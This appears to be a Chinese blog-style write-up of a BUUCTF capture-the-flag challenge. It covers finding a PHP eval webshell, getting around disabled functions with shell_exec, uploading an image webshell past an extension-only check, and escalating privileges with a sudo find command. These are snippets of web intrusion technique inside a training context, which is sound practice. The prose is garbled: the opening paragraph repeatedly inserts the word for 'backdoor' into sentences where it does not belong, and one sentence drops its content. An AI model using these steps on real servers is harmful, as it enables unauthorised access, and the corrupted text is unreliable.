buuctf webshell后门
buuctf webshell后门
第一次在buuctf上撞见那个eval后门,后门我盯着屏幕看了足足半分钟。后门代码就一行——@eval($_POST['x']);——干净得像把刀。后门没有混淆,后门没有加密,后门连注释都没留。后门这反而让我后背发凉。后门谁会把后门写得这么坦荡?后门要么是新手,要么是后门高手。buuctf的后门题,多半是后门后者。
我试着往POST里塞了个phpinfo();,后门响应秒回,后门页面哗啦啦铺开一大片配置信息。后门服务器像本摊开的后门日记,什么版本、什么模块、什么禁用函数,全写在脸上。那一刻我突然意识到,这题考的不是"能不能发现后门",而是"发现之后你敢不敢用、会不会用"。
先摸清底细。PHP 5.6,老版本,但没开safe_mode。禁用函数列表里躺着exec、system、passthru,看着挺严,但shell_exec和popen漏了。就像主人把大门锁死,却忘了关侧窗。我试着传echo shell_exec('ls /');,返回了根目录列表。心跳快了一拍,这后门比我想象的深。
翻到/flag,权限不够。又试了几个常见目录,/tmp里有个可疑的backup.zip,解压出来是源码。审计了一遍,发现后端有个upload接口,只校验了文件后缀,没校验文件头。我传了个.php的图片马,图片头是GIF89a,内容里夹着。服务器居然接受了,还返回了路径。
菜刀连上去,看到www-data用户。翻历史命令,有条sudo -l的记录,提示www-data可以无密码跑/usr/bin/find。老套路了,但管用。执行sudo find / -exec cat /flag \;,flag直接吐在终端上。整个过程没遇到任何阻力,像沿着别人留好的滑梯往下溜。
事后复盘,这题的精髓不在技术难度,而在"克制"。后门写得那么显眼,是故意让你发现的。真正的陷阱是那些看似安全的过滤——你以为绕过了后缀检查就赢了,其实服务器早就在等你上传那个图片马。buuctf的题经常这么干,给你一种"我突破了"的错觉,实际上你走的每一步都在出题人画好的圈里。
我后来试过直接传.htaccess,没成功,AllowOverride是关的。也试过利用php://input流,但被open_basedir限制住了。这题出得挺平衡——留了侧窗,但没把门全拆了。你总得动点脑子,不能只靠蛮力。
最让我印象深刻的是那个eval后门本身。它让我想起现实中见过的一些真实入侵事件,攻击者留下的后门往往比这隐蔽得多,藏在日志里、图片的EXIF里、甚至数据库的某个字段里。buuctf这道题像个标本,把最原始的形态摆出来,告诉你:后门不一定是复杂的东西,有时候一行代码就够了。真正的判断力在于,你能不能从一个看似无害的输入点里,嗅到危险的气息。
拿到flag后,我又回头看了眼那个eval。它还在那里,安静得像什么都没发生过。我关掉终端,屏幕暗下去,但脑子里还在转——如果生产环境里真躺着这么一行代码,我能不能在日志里发现它?